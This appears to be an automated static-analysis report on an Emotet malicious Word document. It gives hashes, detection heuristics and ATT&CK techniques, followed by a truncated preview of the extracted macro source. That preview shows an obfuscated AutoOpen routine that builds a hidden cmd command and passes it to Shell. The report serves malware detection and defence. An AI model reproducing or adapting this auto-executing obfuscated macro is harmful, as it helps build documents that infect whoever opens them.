Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 42264e1641b93dbf…

MALICIOUS

Office (OLE)

78.2 KB Created: 2018-09-20 22:07:00 Authoring application: Microsoft Office Word First seen: 2020-06-01
MD5: 9cb43b3976468da8b730f88d0bdadaa1 SHA-1: 1b4c4f84f9d15d09cb1f9a4cc168a44cd624cf39 SHA-256: 42264e1641b93dbf50b4e559d8afa5cead889abe24bcf3e4b4f9f00eaceeb62a
182 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Downloader.Emotet-6884095-0. Static analysis revealed a VBA macro with an AutoOpen function, which is a common execution vector for Emotet. The macro is designed to execute a payload, likely a second-stage downloader, as indicated by the 'Shell' execution token in the VBA p-code.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-6884095-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6884095-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13414 bytes
SHA-256: e44edf84a599e89e706d8341724a5228fb3b5226578d5c15f384a9f252200e3a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "BTKdwZCE"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const ZrCmEA = 0
   Dim TYDiiE(3)
TYDiiE(0) = MidB(Pmlbl, 230, 883) + Left(bZGoFYi, 398)
TYDiiE(1) = MidB(Pmlbl, 230, 883) + MidB(Pmlbl, 230, 883) + Mid(PVPjOoqM, 329, 335) + Left(bZGoFYi, 398)
TYDiiE(2) = Left(bZGoFYi, 398) + MidB(Pmlbl, 230, 883) + MidB(Pmlbl, 230, 883) + Right(lurHJSV, 153)
   Dim LJEOi(4)
LJEOi(0) = MidB(Pmlbl, 230, 883) + Left(bZGoFYi, 398)
LJEOi(1) = Left(bZGoFYi, 398) + MidB(Pmlbl, 230, 883)
LJEOi(2) = MidB(Pmlbl, 230, 883) + MidB(Pmlbl, 230, 883) + Mid(PVPjOoqM, 329, 335) + Right(lurHJSV, 153)
LJEOi(3) = MidB(Pmlbl, 230, 883) + Mid(PVPjOoqM, 329, 335) + Mid(PVPjOoqM, 329, 335) + MidB(Pmlbl, 230, 883)
   Dim IvPcEj(4)
IvPcEj(0) = MidB(Pmlbl, 230, 883) + Right(lurHJSV, 153) + Mid(PVPjOoqM, 329, 335) + Right(lurHJSV, 153)
IvPcEj(1) = Left(bZGoFYi, 398) + Left(bZGoFYi, 398) + Right(lurHJSV, 153) + Left(bZGoFYi, 398)
IvPcEj(2) = Right(lurHJSV, 153) + Left(bZGoFYi, 398) + Left(bZGoFYi, 398) + MidB(Pmlbl, 230, 883)
IvPcEj(3) = Mid(PVPjOoqM, 329, 335) + Right(lurHJSV, 153)
   Dim XFotz(2)
XFotz(0) = MidB(Pmlbl, 230, 883) + Right(lurHJSV, 153) + Right(lurHJSV, 153) + Right(lurHJSV, 153)
XFotz(1) = MidB(Pmlbl, 230, 883) + MidB(Pmlbl, 230, 883)
   Dim AtqAEV(5)
AtqAEV(0) = Right(lurHJSV, 153) + Right(lurHJSV, 153) + Right(lurHJSV, 153) + Mid(PVPjOoqM, 329, 335)
AtqAEV(1) = Right(lurHJSV, 153) + Right(lurHJSV, 153) + MidB(Pmlbl, 230, 883) + Left(bZGoFYi, 398)
AtqAEV(2) = Mid(PVPjOoqM, 329, 335) + Left(bZGoFYi, 398) + Right(lurHJSV, 153) + Mid(PVPjOoqM, 329, 335)
AtqAEV(3) = Left(bZGoFYi, 398) + Mid(PVPjOoqM, 329, 335)
AtqAEV(4) = MidB(Pmlbl, 230, 883) + Left(bZGoFYi, 398) + Left(bZGoFYi, 398) + Left(bZGoFYi, 398)
Shell@ qFjRwXn + hSLacifTib + YQzqREqYkrV, ZrCmEA
   Dim Vmpfc(2)
Vmpfc(0) = Left(bZGoFYi, 398) + Right(lurHJSV, 153)
Vmpfc(1) = MidB(Pmlbl, 230, 883) + MidB(Pmlbl, 230, 883)
End Sub


Attribute VB_Name = "kVTlKQXpaUL"
Function qFjRwXn()
Dim vnPIIK(5)
vnPIIK(0) = Mid(PVPjOoqM, 329, 335) + Right(lurHJSV, 153)
vnPIIK(1) = Mid(PVPjOoqM, 329, 335) + Right(lurHJSV, 153) + Right(lurHJSV, 153) + Mid(PVPjOoqM, 329, 335)
vnPIIK(2) = Mid(PVPjOoqM, 329, 335) + Left(bZGoFYi, 398) + MidB(Pmlbl, 230, 883) + Left(bZGoFYi, 398)
vnPIIK(3) = Mid(PVPjOoqM, 329, 335) + Right(lurHJSV, 153)
vnPIIK(4) = Left(bZGoFYi, 398) + Right(lurHJSV, 153)
   Dim HHbSb(5)
HHbSb(0) = Right(lurHJSV, 153) + Left(bZGoFYi, 398)
HHbSb(1) = Mid(PVPjOoqM, 329, 335) + MidB(Pmlbl, 230, 883)
HHbSb(2) = MidB(Pmlbl, 230, 883) + Right(lurHJSV, 153)
HHbSb(3) = Right(lurHJSV, 153) + Right(lurHJSV, 153)
HHbSb(4) = Right(lurHJSV, 153) + Right(lurHJSV, 153)
   Dim ZvvzpG(3)
ZvvzpG(0) = Left(bZGoFYi, 398) + Left(bZGoFYi, 398)
ZvvzpG(1) = Right(lurHJSV, 153) + MidB(Pmlbl, 230, 883)
ZvvzpG(2) = MidB(Pmlbl, 230, 883) + MidB(Pmlbl, 230, 883) + Left(bZGoFYi, 398) + Mid(PVPjOoqM, 329, 335)
zQYuIrlkRO = CStr(Chr(CleanString(4 + 12 + 6 + 3 + 74))) + "md /V^:^O" + "N/" + CStr(Chr(CleanString(2 + 8 + 4 + 2 + 51))) + CStr(Chr(CleanString(1 + 4 + 2 + 1 + 26))) + "^s^e^t " + "w^0" + "^bH=^ ^   " + "^  ^ ^"
Dim KCfzK(5)
KCfzK(0) = Mid(PVPjOoqM, 329, 335) + Right(lurHJSV, 153) + MidB(Pmlbl, 230, 883) + Mid(PVPjOoqM, 329, 335)
KCfzK(1) = MidB(Pmlbl, 230, 883) + Right(lurHJSV, 153) + MidB(Pmlbl, 230, 883) + Mid(PVPjOoqM, 329, 335)
KCfzK(2) = Right(lurHJSV, 153) + MidB(Pmlbl, 230, 883)
KCfzK(3) = Mid(PVPjOoqM, 329, 335) + Left(bZGoFYi, 398)
KCfzK(4) = Mid(PVPjOoqM, 329, 335) + Mid(PVPjOoqM, 329, 335) + Mid(PVPjOoqM, 329, 335) + MidB(Pmlbl, 230, 883)
   Dim qObaq(4)
qObaq(0) = Mid(PVPjOoqM, 329, 335) + Mid(PVPjOoqM, 329, 335)
qObaq(1) = MidB(Pmlbl, 230, 883) + MidB(Pmlbl, 230, 883) + Mid(PVPjOoqM, 329, 335) + Left(bZGoFYi, 398)
qObaq(2) = Mid(PVPjOoqM, 329, 335) + MidB(Pmlbl, 230, 883)
qObaq(3) = MidB(Pmlbl, 230, 883) + Lef
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.